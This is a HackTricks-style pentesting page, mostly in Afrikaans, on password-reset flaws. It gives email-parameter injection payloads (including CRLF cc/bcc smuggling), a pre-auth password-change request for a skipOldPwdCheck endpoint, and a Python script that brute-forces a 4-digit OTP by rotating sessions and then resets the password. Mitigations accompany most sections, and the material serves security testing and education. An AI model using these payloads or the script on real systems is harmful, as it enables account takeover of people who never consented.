# Reset/Forgotten Password Bypass {{#include ../banners/hacktricks-training.md}} ## **Password Reset Token Leak Via Referrer** - Die HTTP referer header kan die password reset token leak as dit in die URL ingesluit is. Dit kan gebeur wanneer 'n gebruiker op 'n third-party website link klik nadat hy 'n password reset versoek ingedien het. - **Impact**: Potensiële account takeover via Cross-Site Request Forgery (CSRF) attacks. - **Exploitation**: Om te kontroleer of 'n password reset token in die referer header leak, **request a password reset** na jou email adres en **click the reset link** wat verskaf is. **Do not change your password** onmiddellik. In plaas daarvan, **navigate to a third-party website** (soos Facebook of Twitter) terwyl jy **intercepting the requests using Burp Suite**. Inspekteer die requests om te sien of die **referer header contains the password reset token**, aangesien dit sensitiewe inligting aan derde partye kan blootstel. - **References**: - [HackerOne Report 342693](https://hackerone.com/reports/342693) - [HackerOne Report 272379](https://hackerone.com/reports/272379) - [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) ## **Password Reset Poisoning** - Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site. - **Impact**: Lei tot potensiële account takeover deur reset tokens na attackers te leak. - **Mitigation Steps**: - Valideer die Host header teen 'n whitelist van toegelate domeine. - Gebruik veilige, server-side metodes om absolute URLs te genereer. - **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`. - **References**: - [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/) ## **Password Reset By Manipulating Email Parameter** Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link. - Add attacker email as second parameter using & ```php POST /resetPassword [...] email=victim@email.com&email=attacker@email.com ``` - Voeg die attacker email as tweede parameter by deur %20 te gebruik ```php POST /resetPassword [...] email=victim@email.com%20email=attacker@email.com ``` - Voeg attacker e-pos as tweede parameter by gebruik van | ```php POST /resetPassword [...] email=victim@email.com|email=attacker@email.com ``` - Voeg die aanvaller se e-pos as tweede parameter by deur cc te gebruik ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dcc:attacker@mail.tld" ``` Voeg attacker email as tweede parameter deur bcc te gebruik ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dbcc:attacker@mail.tld" ``` - Voeg die aanvaller se e-pos as tweede parameter by met , ```php POST /resetPassword [...] email="victim@mail.tld",email="attacker@mail.tld" ``` - Voeg attacker email as tweede parameter in die json array ```php POST /resetPassword [...] {"email":["victim@mail.tld","atracker@mail.tld"]} ``` - **Mitigeringsstappe**: - Ontleed en valideer e-posparameters behoorlik aan die bedienerkant. - Gebruik prepared statements of parameterized queries om injection-aanvalle te voorkom. - **Verwysings**: - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) ## **Verander e-pos en wagwoord van enige gebruiker deur API-parameters** - Aanvallers kan e-pos- en wagwoordparameters in API-versoeke wysig om rekeningbewyse te verander. ```php POST /api/changepass [...] ("form": {"email":"victim@email.tld","password":"12345678"}) ``` - **Mitigasiestappe**: - Verseker streng parametervalidasie en authentiseringskontroles. - Implementeer robuuste logging en monitering om verdagte aktiwiteite te identifiseer en daarop te reageer. - **Verwysing**: - [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) ## **Geen Rate Limiting: Email Bombing** - Afwesigheid van rate limiting op password reset-versoeke kan lei tot email bombing, wat die gebruiker oorstroom met reset-e-posse. - **Mitigasiestappe**: - Voer rate limiting in gebaseer op IP-adres of gebruikersrekening. - Gebruik CAPTCHA-uitdagings om geoutomatiseerde misbruik te voorkom. - **Verwysings**: - [HackerOne Report 280534](https://hackerone.com/reports/280534) ## **Vind uit hoe Password Reset Token gegenereer word** - Om die patroon of metode agter token-generering te verstaan kan lei tot die voorspel of brute-forcing van tokens. Sommige opsies: - Gebaseer op Timestamp - Gebaseer op die UserID - Gebaseer op email van User - Gebaseer op Firstname en Lastname - Gebaseer op Date of Birth - Gebaseer op kriptografie - **Mitigasiestappe**: - Gebruik sterk, kriptografiese metodes vir token-generering. - Verseker voldoende ewekansigheid en lengte om voorspelbaarheid te voorkom. - **Gereedskap**: Gebruik Burp Sequencer om die ewekansigheid van tokens te ontleed. ## **Voorspelbare UUID** - As UUIDs (version 1) voorspelbaar is, kan aanvallers dit brute-force om geldige reset tokens te genereer. Kyk: {{#ref}} uuid-insecurities.md {{#endref}} - **Mitigasiestappe**: - Gebruik GUID version 4 vir ewekansigheid of implementeer addisionele sekuriteitsmaatreëls vir ander weergawes. - **Gereedskap**: Gebruik [guidtool](https://github.com/intruder-io/guidtool) vir die ontleding en generering van GUIDs. ## **Response Manipulation: Vervang slegte response met 'n goeie een** - Manipuleer HTTP responses om foutboodskappe of beperkings te omseil. - **Mitigasiestappe**: - Implementeer server-side kontroles om response-integriteit te verseker. - Gebruik veilige kommunikasiekanale soos HTTPS om man-in-the-middle-aanvalle te voorkom. - **Verwysing**: - [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) ## **Gebruik van vervalde token** - Toets of vervalde tokens steeds gebruik kan word vir password reset. - **Mitigasiestappe**: - Implementeer streng token-verstrykingbeleid en valideer tokenverstryking server-side. ## **Brute Force Password Reset Token** - Poging om die reset token te brute-force met gereedskap soos Burpsuite en IP-Rotator om IP-gebaseerde rate limits te omseil. - **Mitigasiestappe**: - Voer robuuste rate-limiting en rekeningblokkasie-meganismes in. - Monitor vir verdagte aktiwiteite wat op brute-force-aanvalle dui. ## **Probeer om jou token te gebruik** - Toets of 'n aanvaller se reset token in samewerking met die slagoffer se e-pos gebruik kan word. - **Mitigasiestappe**: - Verseker dat tokens aan die gebruikersessie of ander gebruikerspesifieke eienskappe gebind is. ## **Sessie-invalidering by Logout/Wagwoordherstel** - Verseker dat sessies ongeldig gemaak word wanneer 'n gebruiker uitlog of hul wagwoord herstel. - **Mitigasiestappe**: - Implementeer behoorlike sessiebestuur en verseker dat alle sessies ongeldig gemaak word by uitlog of wagwoordherstel. ## **Sessie-invalidering by Logout/Wagwoordherstel** - Reset tokens moet 'n vervaldatum hê waarna hulle ongeldig word. - **Mitigasiestappe**: - Stel 'n redelike vervaltyd vir reset tokens en dwing dit streng af server-side. ## **OTP rate limit bypass deur jou sessie te verander** - As die webwerf die gebruikersessie gebruik om verkeerde OTP-pogings te volg en die OTP swak was ( <= 4 syfers), kan ons die OTP effektief brute-force. - **Eksploitasie**: - vra net 'n nuwe sessietoken aan nadat jy deur die bediener geblokkeer is. - **Voorbeeld** kode wat hierdie fout uitbuit deur ewekansig die OTP te raai (wanneer jy die sessie verander sal die OTP ook verander, en dus sal ons nie in staat wees om dit sequentieel te brute-force nie!): ``` python # Authentication bypass by password reset # by coderMohammed import requests import random from time import sleep headers = { "User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1", "Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea" } url = "http://10.10.12.231:1337/reset_password.php" logout = "http://10.10.12.231:1337/logout.php" root = "http://10.10.12.231:1337/" parms = dict() ter = 0 phpsessid = "" print("[+] Starting attack!") sleep(3) print("[+] This might take around 5 minutes to finish!") try: while True: parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d parms["s"] = 164 # not important it only efects the frontend res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers) if ter == 8: # follow number of trails out = requests.get(logout,headers=headers) # log u out mainp = requests.get(root) # gets another phpssid (token) cookies = out.cookies # extract the sessionid phpsessid = cookies.get('PHPSESSID') headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for ter = 0 # reset ter so we get a new session after 8 trails else: ter += 1 if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing) print(len(res.text)) # for debug info print(phpsessid) reset_data = { # here we will change the password to somthing new "new_password": "D37djkamd!", "confirm_password": "D37djkamd!" } reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers) print("[+] Password has been changed to:D37djkamd!") break except Exception as e: print("[+] Attck stopped") ``` ## Arbitrêre wagwoordherstel via skipOldPwdCheck (pre-auth) Sommige implementasies stel 'n password change-aksie bloot wat die password-change-roetine aanroep met skipOldPwdCheck=true en wat geen reset token of eienaarskap verifieer nie. As die endpoint 'n action-parameter soos change_password en 'n gebruikersnaam/nuwe wagwoord in die versoekliggaam aanvaar, kan 'n aanvaller arbitrêre rekeninge pre-auth terugstel. Kwetsbare patroon (PHP): ```php // hub/rpwd.php RequestHandler::validateCSRFToken(); $RP = new RecoverPwd(); $RP->process($_REQUEST, $_POST); // modules/Users/RecoverPwd.php if ($request['action'] == 'change_password') { $body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']); } public function displayChangePwd($smarty, $username, $newpwd) { $current_user = CRMEntity::getInstance('Users'); $current_user->id = $current_user->retrieve_user_id($username); // ... criteria checks omitted ... $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id); } ``` Exploitation versoek (konsep): ```http POST /hub/rpwd.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd! ``` Verligtingsmaatreëls: - Vereis altyd 'n geldige, tydgebonde reset token wat aan die rekening en sessie gekoppel is voordat 'n wagwoord verander word. - Moet nooit skipOldPwdCheck paths blootstel aan nie-geauthentiseerde gebruikers nie; vereis dat gebruikers geauthentiseer is vir gewone wagwoordveranderings en verifieer die ou wagwoord. - Maak alle aktiewe sessies en reset tokens ongeldig na 'n wagwoordverandering. ## Verwysings - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) - [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) {{#include ../banners/hacktricks-training.md}}